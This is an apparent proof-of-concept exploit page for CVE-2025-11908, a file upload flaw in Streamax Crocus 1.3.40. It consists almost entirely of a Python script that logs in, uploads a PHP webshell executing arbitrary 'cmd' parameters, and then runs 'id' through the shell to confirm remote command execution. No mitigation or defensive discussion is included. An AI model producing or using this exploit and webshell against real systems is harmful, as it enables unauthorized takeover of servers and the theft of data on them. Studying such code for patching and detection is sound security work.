CVE-2025-11908：Streamax Crocus文件上传漏洞

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-11908 - Streamax Crocus 1.3.40 Unrestricted File Upload PoC Vulnerability: Unrestricted file upload in /FileDir.do?Action=Upload Author: Security Researcher """ import requests import sys from requests_toolbelt.multipart.encoder import MultipartEncoder TARGET_URL = "http://target-host" UPLOAD_ENDPOINT = "/FileDir.do?Action=Upload" USERNAME = "test" PASSWORD = "test123" # Malicious PHP webshell content disguised as image file WEBSHELL_CONTENT = b"""<?php // Simple PHP webshell for testing purposes echo "Vulnerable: CVE-2025-11908"; if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>""" def login(session, base_url): """Perform login to obtain session cookie""" login_url = f"{base_url}/Login.do" data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=data, timeout=10) if resp.status_code == 200 and "JSESSIONID" in session.cookies.get_dict(): print("[+] Login successful") return True except Exception as e: print(f"[-] Login failed: {e}") return False def upload_malicious_file(session, base_url, filename="test.php"): """Upload malicious file to vulnerable endpoint""" upload_url = f"{base_url}{UPLOAD_ENDPOINT}" # Construct multipart form data with malicious file multipart_data = MultipartEncoder( fields={ "File": (filename, WEBSHELL_CONTENT, "application/octet-stream"), "Action": "Upload" } ) headers = { "Content-Type": multipart_data.content_type, "User-Agent": "Mozilla/5.0 (compatible; PoC)" } try: resp = session.post(upload_url, data=multipart_data, headers=headers, timeout=10) print(f"[+] Upload response status: {resp.status_code}") print(f"[+] Response body: {resp.text[:500]}") # Check if upload was successful if resp.status_code == 200 and ("success" in resp.text.lower() or "upload" in resp.text.lower()): print(f"[+] File uploaded successfully: {filename}") return True except Exception as e: print(f"[-] Upload failed: {e}") return False def verify_shell(session, base_url, filename="test.php"): """Verify if uploaded webshell is accessible""" shell_url = f"{base_url}/upload/{filename}" try: resp = session.get(shell_url, timeout=10) if resp.status_code == 200: print(f"[+] Webshell accessible at: {shell_url}") # Test command execution cmd_resp = session.get(f"{shell_url}?cmd=id", timeout=10) print(f"[+] Command execution result: {cmd_resp.text}") return True except Exception as e: print(f"[-] Shell verification failed: {e}") return False def main(): if len(sys.argv) > 1: global TARGET_URL TARGET_URL = sys.argv[1] session = requests.Session() print(f"[*] Target: {TARGET_URL}") print(f"[*] Testing CVE-2025-11908 - Unrestricted File Upload") # Step 1: Login if not login(session, TARGET_URL): print("[-] Cannot proceed without valid credentials") sys.exit(1) # Step 2: Upload malicious file if upload_malicious_file(session, TARGET_URL): # Step 3: Verify shell access verify_shell(session, TARGET_URL) else: print("[-] Exploit failed") if __name__ == "__main__": main()